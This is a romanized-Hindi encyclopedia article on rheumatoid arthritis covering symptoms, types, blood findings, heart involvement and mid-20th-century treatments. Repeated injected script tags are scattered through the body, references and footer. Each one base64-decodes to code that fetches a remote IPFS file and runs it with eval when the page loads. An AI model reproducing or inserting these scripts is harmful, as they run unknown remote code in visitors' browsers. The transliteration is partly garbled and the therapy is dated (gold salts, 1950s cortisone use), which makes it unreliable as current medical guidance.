आमवातीय संध्यार्ति
amavatiy sandhyarti (roomait aaued ahthraarhitiz) ek aisi chirakalik vyadhi hai jo sadharanat: dhire dhire badhati hi jati hai. anek sandhijo doan ka vinashakari aur viroopakari shoth isaka vishesh lakshan hai. sath hi sharir ke any sansthanoan par bhi is rog ka pratikool prabhav hota hai. mukhyat: peshi, tvachadhar, ootak (sabakyooteniyas tishoo), parinah tantrika (periferal narvs), lasika sanrachana (lianfaitik strakchar) evan rakt sansthanoan par isaka pratikool prabhav p data hai. aant mean avayavoan ka nilapan athava hatheli tatha uangaliyoan ki poroan ki koshikaoan (kaipilariz) ka vispharan (daileteshan) aur hath pavoan mean atyadhik sved is rog ki ugrata ke soochak haian.
yah vyadhi sab ayu ke vyaktiyoan ko grasit ka sakati hai, par 20 se 40 varsh tak ki avastha ke log isase adhik grast hote haian.
20vian shatabdi ke madhy tak is rog ka karan nahian jana ja saka tha. vanshanugat asvabhavikata, atihrishata (ailarji), chayapachay vikshobh (metabolik disaaurdar) tatha shakanu oan mean isake karanoan ko khoja gaya, kiantu sabhi prayatn asaphal rahe. 17 haidr aauksi,11 di haidro-k aaurtiko-steran (keandal ka E yaugik) tatha aidrano k aautikotrofik haramonoan ki khoj ke bad dekha gaya ki ye is vyadhi se mukti dete haian. atev is rog ke karan ko haramon utpatti ki aniyamitatoan mean khojane ka prayatn kiya gaya, kiantu abhi tak is rog ke mool karanoan ka pata nahian chal saka hai.
chikitsak sadharanat: ise shleshajan (kolajen) vyadhi batate haian. yah iangit karata hai ki amavatiy sandhyarti yoji ootak (kanektiv tishu), asthi tatha kasthi (kartilej) ke shvet tantuoan ke shveti (albyumin aaued) padartho mean hue upadravoan ke karan utpann ho sakata hai.
amavatiy sandhyarti ke do prakar hote haian.
pahala-jab rog ka akraman mukhyat: hath paanv ki sandhiyoan par hota hai, ise parinah (perifaral) prakar kahate haian.
doosar-jab rog merushoth ke roop mean ho, ise stuanpel ki vyadhi athava bekhtrayoo ki vyadhi kahate haian.
is rog ka tisara prakar pahale donoan prakaroan ke sammilit akraman ke roop mean ho sakata hai. pahala prakar mahilaoan tatha doosara purushoan ko vishesh roop se grasit karata hai.
donoan prakar ke rogoan ka akraman pray: ekaek hi hota hai. tivr daihik lakshan, jaise kee sandhiyoan ki kathorata tatha soojan, shraanti, bhar mean kami, chalane mean kasht evan tivr jvar ke roop mean prakat hote haian. sandhiyaan sooji huee dikhaee p dati haian evan unake chhoone matr se hi pi da hoti hai. kabhi kabhi unamean nili vivarnata bhi drishtigat hoti hai. kee avasaroan par praranbh mean kuchh hi sandhiyoan par akraman hota hai, kiantu adhikatar anek sandhiyoan par samamit roop (simetrikal paitarn) mean rog ka akraman hota hai. udaharan ke lie donoan hathoan ki uangaliyaan, kalaiyaan, donoan pavoan ki padashalaka-aanguli-parviy sandhiyaan (metatarso failaianjiyal j aaueants), kuhani tatha ghutane adi.
rog ke kram mean adhikatar shighr pragati hoti haian evan tivr lakshan utpann hote haian, kiantu isake pashchath svasthy apekshakrit achchha hokar phir kharab ho jata hai aur bhali tatha buri avasthaean ekaantarit hoti rahati haian. kabhi kabhi rog ke lakshan poorn roop se lupt ho jate haian aur rogi achchhe svasthy ki dasha mean varshoan tak rahata hai. rog ka akraman pun: bhi ho sakata hai kuchh avasaroan par rog itana adhik badh jata hai ki rogi viroop evan apang ho jata hai. sath hi maansapeshiyoan ka kshay ho jata hai tatha apushtitajanit vibhinn charmavikar utpann ho jate haian.
rog ke halake akramanoan mean rakt-kosh-ganana tatha shonavartuli (himoglobin) ke aganan se parimit raktahinata paee jati hai. tivr akramanoan mean atyant raktahinata utpann ho jati hai. isi prakar halake akramanoan mean lohitanuoan (erthraoisaits) ka plavika (plajma) mean talachhatikaran (seandimeanteshan) apekshakrit shighr hota hai, kiantu tivr akramanoan mean yah talachhatikaran aur bhi shighr ho jata hai.
rog ka tivr akraman hone par rakt mean lasishveti (siram ailbyumin) ki apeksha lasiavartuli (siram globulin) ki badhati dikhaee p dati hai. yah badhati kabhi kabhi itani adhik ho jati hai ki rakt mean donoan yaugikoan ka anupat hi ulata ho jata hai
is rog mean kabhi-kabhi rogi hriday ki maansapeshiyoan tatha hritkapatoan mean doshagrast hone ke chihn tatha lakshan milate haian. is rog ke lagabhag 50 pratishat rogiyoan mean hriday par akraman paya jata hai.[1]
mool karanoan ke jnan ke abhav mean lakshanoan ke nivaran hetu hi chikitsa ki jati hai. pi da ko door karane ke lie pi danirodhak aushadhiyaan di jati haian. sath hi sharir ke kshay ka nivaran karane ke lie avashyak bhojan tatha poorn vishram karaya jata hai. saandhiyoan ki malish bhi ki jati haian. svarn ke lavanoan ka prabhav is rog par anukool hota hai, kiantu inake adhik prayog se vishaile-prabhav bhi dekhe ge haian. keandal ke yaugik ef tatha ee ke sath poshagranthi (pityootari glaiand) ke haramon aidrino-k aaurtiko-trofik ka prayog bhi is rog mean labhakari hai.[2]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 392 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-b aauar dablyoo. roomait aaued ahthraaitij; je.e.em.e. 138,397,1948; roomaitijm aiand ahthraarhitij: rivyoo aauv amerikan aiand iangalish litarechar aauv riseant iyars; (teanth roomaitijm rivyoo) bhag1, ainals iantaranaishanal medisin, 39: 498, 1953, bhag 2, vahi, 39: 757, 1953; vaee.el.ee.tatha heanch, pi.es: k aaurtison in tritameant aauv roomaitaed ahthraaitij; je.e.em. e., 152: 119, 1953; sesil tatha lov: tekstabuk aauv medisin, 1955 ka sanskaran.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>